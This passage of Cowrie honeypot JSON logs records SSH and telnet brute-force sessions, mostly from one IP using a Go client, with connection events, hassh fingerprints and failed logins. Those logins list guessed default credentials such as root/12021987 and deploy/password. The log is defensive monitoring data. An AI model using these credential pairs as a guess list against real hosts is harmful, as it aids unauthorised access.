sa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.579530Z","src_ip":"103.149.28.157","session":"ee77964615e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:29.752004Z","src_ip":"193.151.144.93","session":"5a5fd753634c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12021987","message":"login attempt [root/12021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:30.359704Z","src_ip":"103.149.28.157","session":"ee77964615e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.593816995620728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:31.052242Z","src_ip":"50.62.181.92","session":"e21280308090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:31.622641Z","src_ip":"103.149.28.157","session":"ee77964615e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:31.811996Z","src_ip":"193.151.144.93","session":"5a5fd753634c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.04498219490051,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:32.175929Z","src_ip":"79.139.59.21","session":"4c0f83427faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54574,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5354c22ea9","protocol":"ssh","message":"New connection: 193.151.144.93:54574 (10.17.0.5:22) [session: ae5354c22ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:34.366005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:34.373094Z","src_ip":"193.151.144.93","session":"ae5354c22ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:34.538659Z","src_ip":"193.151.144.93","session":"ae5354c22ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:35.215366Z","src_ip":"193.151.144.93","session":"ae5354c22ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:36.390947Z","src_ip":"193.151.144.93","session":"ae5354c22ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54588,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d2e64534922","protocol":"ssh","message":"New connection: 193.151.144.93:54588 (10.17.0.5:22) [session: 0d2e64534922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:39.818862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:39.824920Z","src_ip":"193.151.144.93","session":"0d2e64534922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:39.995223Z","src_ip":"193.151.144.93","session":"0d2e64534922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:40.508216Z","src_ip":"193.151.144.93","session":"0d2e64534922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:41.682024Z","src_ip":"193.151.144.93","session":"0d2e64534922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40000,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eae5256e3d5","protocol":"ssh","message":"New connection: 193.151.144.93:40000 (10.17.0.5:22) [session: 5eae5256e3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:45.253695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:45.259476Z","src_ip":"193.151.144.93","session":"5eae5256e3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:45.435000Z","src_ip":"193.151.144.93","session":"5eae5256e3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:45.969392Z","src_ip":"193.151.144.93","session":"5eae5256e3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:47.586907Z","src_ip":"193.151.144.93","session":"5eae5256e3d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ade4538c07c","protocol":"ssh","message":"New connection: 193.151.144.93:54346 (10.17.0.5:22) [session: 9ade4538c07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:50.662380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:50.668663Z","src_ip":"193.151.144.93","session":"9ade4538c07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:50.839579Z","src_ip":"193.151.144.93","session":"9ade4538c07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:51.340267Z","src_ip":"193.151.144.93","session":"9ade4538c07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:54.203378Z","src_ip":"193.151.144.93","session":"9ade4538c07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54362,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b070c46c6b8","protocol":"ssh","message":"New connection: 193.151.144.93:54362 (10.17.0.5:22) [session: 7b070c46c6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:56.127780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:56.132401Z","src_ip":"193.151.144.93","session":"7b070c46c6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:52:56.304328Z","src_ip":"193.151.144.93","session":"7b070c46c6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47490,"dst_ip":"10.17.0.5","dst_port":22,"session":"d72cf2bf03bd","protocol":"ssh","message":"New connection: 193.151.144.93:47490 (10.17.0.5:22) [session: d72cf2bf03bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:01.525378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:01.530511Z","src_ip":"193.151.144.93","session":"d72cf2bf03bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:01.698767Z","src_ip":"193.151.144.93","session":"d72cf2bf03bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:02.205076Z","src_ip":"193.151.144.93","session":"d72cf2bf03bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:03.803359Z","src_ip":"193.151.144.93","session":"d72cf2bf03bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.56432509422302,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:06.431661Z","src_ip":"178.128.93.180","session":"ca7c89ca2787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e76dc3775f","protocol":"ssh","message":"New connection: 193.151.144.93:47494 (10.17.0.5:22) [session: 73e76dc3775f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:06.990708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:06.996368Z","src_ip":"193.151.144.93","session":"73e76dc3775f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:07.185120Z","src_ip":"193.151.144.93","session":"73e76dc3775f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:07.675106Z","src_ip":"193.151.144.93","session":"73e76dc3775f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:09.689204Z","src_ip":"193.151.144.93","session":"73e76dc3775f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:11.489314Z","src_ip":"193.151.144.93","session":"7b070c46c6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44574,"dst_ip":"10.17.0.5","dst_port":22,"session":"a646dba157be","protocol":"ssh","message":"New connection: 193.151.144.93:44574 (10.17.0.5:22) [session: a646dba157be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:12.629865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:12.634371Z","src_ip":"193.151.144.93","session":"a646dba157be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:12.663027Z","src_ip":"193.151.144.93","session":"7b070c46c6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@opens